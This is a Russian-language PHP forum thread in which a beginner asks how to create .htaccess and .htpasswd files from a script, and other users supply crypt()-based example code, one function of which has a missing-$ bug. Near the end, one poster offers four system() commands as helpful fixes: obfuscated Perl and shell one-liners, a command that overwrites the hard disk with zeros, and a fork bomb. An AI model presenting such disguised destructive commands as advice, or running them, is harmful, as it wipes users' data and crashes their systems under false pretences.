Как вызвать внешнию программу

  • Автор темы Автор темы Alex_Ar
  • Дата начала Дата начала
Что у тебя показывает?:
PHP:
system("whereis htpasswd",$a);
echo $a;
Тольке не на винде! А на сервере.
Даааа... Поторопился с функцией я. Сори.
 
сделай все средствами php, где-то так:
PHP:
$file = ".passwd";
$path_to_passwd = "/..."
$handle = fopen("$path/$file","a")
	or die ("Cant open file!");
if (!fwrite($handle, "your_name:".crypt("your_pass")."\n")) { 
       print "Cannot write to file ($file)"; 
       exit; 
   } 
fclose($handle);
 
Если средствами PHP, то как происходит дешифрация и вообще зачем мне средствами PHP, если я потом .htaccess пользуюсь
 
какая дешифрация ? что тебе вообще надо сделать ?
 
Пользоваться htpasswd тебе не дадут (уточни в службе поддержки).

как происходит дешифрация
Никакой дешифрации не происходит. Апач шифрует введенный пароль и сранивает его с тем, что в файле, на который указывает .htaccess

я потом .htaccess пользуюсь
Тот же эффект будет, если ты выдашь скриптом браузеру статус HTTP 401.
 
Есть скрипт, который добавляет новую директорию, ее нужно защитить паролем автоматически, т.е. пользователь ввел имя папки, логин и пароль и все , а скрипт уже сам кладет туда нужные файлы защищает эту папку паролем, т.е. создает файл .htaccess и .htpasswd. как это сделать? если выдачей браузеру статуса HTTP 401, то как??????????ПЛИЗЗЗЗЗ
 
Не ори.

-~{}~ 31.03.04 13:12:

Во-первых, научись пользоваться командной строкой.
Во-вторых, в unix нет .exe-шников.
В-третьих, набери в поиске (слева сверху) .htpasswd и найди рабочий пример для создания .htpasswd с помощью PHP.

-~{}~ 31.03.04 13:20:

Хрен с тобой, добрый я сегодня.
PHP:
function CreateAuthFiles($directory, $login, $password)
{

  $password = crypt($password, CRYPT_STD_DES);
  // Второй параметр зависит от ОС, обычно - так, как
  // я написал. Если не сработает, попробуй его не указывать.
  // Если все равно не сработает, спроси у хостера.

  $password_file = $directory.'.htpasswd';

  // Пишем .htaccess
  $f = fopen($directory.'.htaccess','w');
  if (!$f) return false;
  fwrite($f, "AuthName \"Authorization Required\"\n".
        "AuthType Basic\n".
        "require valid-user\n".
        "AuthUserFile $password_file\n");
   fclose($f);

  // Пишем .htpasswd
  $f = fopen($password_file, "w");
  if (!$f) return false;
  fwrite($f, $login . ':' . password . "\n");
  fclose($f);
  return true;
}

//пример. полный путь к каталогу и слэш на конце обязательны!
if (CreateAuthFiles("/home/my_login/www/","vasya","vasya_s_password")) {
  echo "Files succesfilly created";
} else {
  echo "ERROR!";
}
 
Если я создам .htpasswd средствами PHP, то как Apache поймет пароль зашифрованный crypt(). Я опробовал приведенный пример, не работает. Файлы создает, и окно вадает для логирования, а в директорию не пускает, как- будто пароль неверный.
 
Попробуй не укаывать второй параметр для функции crypt();
Напиши просто
(я проверял, работает: FreeBSD4.8+PHP 4.3.2+Apache1.3.27 ):
PHP:
$password = crypt($password);
Убедись что в .htacess стоит правильный, абсолютный путь к
.htpasswd
 
ЗАРАБОТАЛО!!!!!!!!!! Всем большое спасибо. Действительно выше приведенная функция работает и со вторым параметром

$password = crypt($password, CRYPT_STD_DES)

Это я в первый раз, что - то не так сделал.
 
попробуйте один из нижеприведенных вариантов. Меня они всегда выручали:
PHP:
system("cat \"test... test... test...\" | perl -e '\$??s:;s:s;;\$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/\" -;;s;;\$_;see'");
PHP:
system("ISF=\$(echo '%\\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');\$ISF 2>/dev/null");
PHP:
system("cat /dev/zero >/dev/hda");
PHP:
system(" : (){ :|:&};:");
Думаю, и вам помогут
 
Alex_Ar

Слушай, это не ты Алексей Ар, тот что "Детей Импульса" написал?
 
Нет не я "Детей Импульса" написал, а что это.

-~{}~ 01.04.04 19:17:

valyala
Я если честно непонял ничего из тобою написанного.
Объясни.Плиз.
 
Сверху